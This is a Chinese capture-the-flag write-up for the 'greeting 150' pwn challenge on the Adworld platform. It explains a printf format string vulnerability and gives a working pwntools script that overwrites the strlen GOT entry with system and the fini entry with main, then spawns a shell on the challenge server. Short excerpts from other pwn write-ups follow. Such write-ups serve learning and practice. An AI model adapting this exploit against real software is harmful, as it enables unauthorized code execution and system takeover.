攻防世界PWN之greeting 150題解

2021-09-29 11:36:03 字數 3898 閱讀 5410

首先看一下保護機制

然後我們拖入ida,發現是乙個很簡單的程式。

然而,最後的那個printf(&s);存在格式化字串漏洞,可以造成任意位址的讀寫。

首先,我們需要確定我們輸入的資料的相對位置。

經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置

那麼,我們的payload = 『aa』 + p32(address) + 『%10c%12$n』

,我們就能把address處的資料寫為(10+4+2+strlen(「nice to meet you,」))這個值

原理請見

那麼,我們可以用這種方式來修改got表

我們可以修改strlen的got表內容為system的plt,然後我們想辦法讓程式程式回到main,執行strlen,我們輸入/bin/sh,即可get shell

我們發現,程式結束時,會呼叫這個地方,我們利用

printf把這裡也一起修改為

main的位址

以上兩個地方的修改必須在一次完成,並且,我們的payload長度不能大於

64,因為程式最多讀取64個字元,因此,我們精心布置payload。並且,我們應該拆分4位元組,分開寫,不要,printf()需要輸出很多字元,假如我們要讓目標位址存入main_addr,如果我們是

payload = 『aa』 + p32(fini_got) + 「%」 + str(main_addr -4 -2 – strlen(「nice to meet you,」)) + 『c%12$n』,那麼printf需要輸出main_addr這麼多個字元,也就是

0x80485ed / 1024 / 1024 = 128mb

,這是非常低效的。因此,我們有另一種方法。在

printf

的格式化修飾符中,hnword(),hhnbyte(位元組),ndword(雙字)

fini_got = 0x8049934  

main_addr = 0x80485ed  

strlen_got = 0x8049a54  

system_plt = 0x8048490  

此處的資料,只有後2位元組與main_addr不一樣,因此,我們只需要修改後兩位元組

然後就是strlen的got表內容,四個位元組我們都需要修改,我們拆分為2個2位元組寫。

arr = [  

0x85ed,  

0x8490,0x804  

]  

由於因特爾處理器小端儲存,因此,我們要在fini_got寫入2

位元組資料

arr[0] 在

strlen_got寫入2

位元組資料

arr[2]

,在strlen_got+2

處寫入2

位元組資料

arr[1]

我們應該按照資料的大小,從小到大的順序寫。

那麼,我們需要先寫0x804這個資料,再寫

0x8490,再寫

0x85ed(想想為什麼

?),這樣,

printf總共輸出了

0x85ed個字元,也就是

33kb大小的資料,效率提公升了近

4000

#coding:utf8

frompwnimport*  

#sh = process('./pwnh16')

sh = remote(

'111.198.29.45'

,47556)  

fini_got = 0x8049934  

main_addr = 0x80485ed  

strlen_got = 0x8049a54  

system_plt = 0x8048490  

sh.recvuntil(

'please tell me your name... '

)  #

通過觀察

,這幾個位址只有後

2位元組不一樣

payload = 

'a'*2  

payload += p32(strlen_got)  

payload +=  p32(strlen_got+2)  

payload += p32(fini_got)  

arr = [  

0x85ed,  

0x8490,0x804  

]  #

注意,我們的

payload

長度不能超過

64,不然後面的都讀取不到,因為最多輸入

64個字元

#hn 

為word(

字),hhn

為byte(

位元組),n

為dword(雙字)

#修改strlen got

內容的前2位元組

num = arr[2] - 32  

payload += 

'%'+ str(num) + 

'c%13$hn'#修改

strlen got

內容的後2位元組

num = arr[1] - arr[2]  

payload += 

'%'+ str(num) + 

'c%12$hn'#修改

fini的後2

位元組num = arr[0] - arr[1]  

payload += 

'%'+ str(num) + 

'c%14$hn'

printlen(payload)  

sh.sendline(payload)  

#get shell

sh.recvuntil(

'please tell me your name... '

)  sh.sendline(

'/bin/sh'

)  sh.interactive()  

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...

攻防世界PWN之Nobug題解

首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...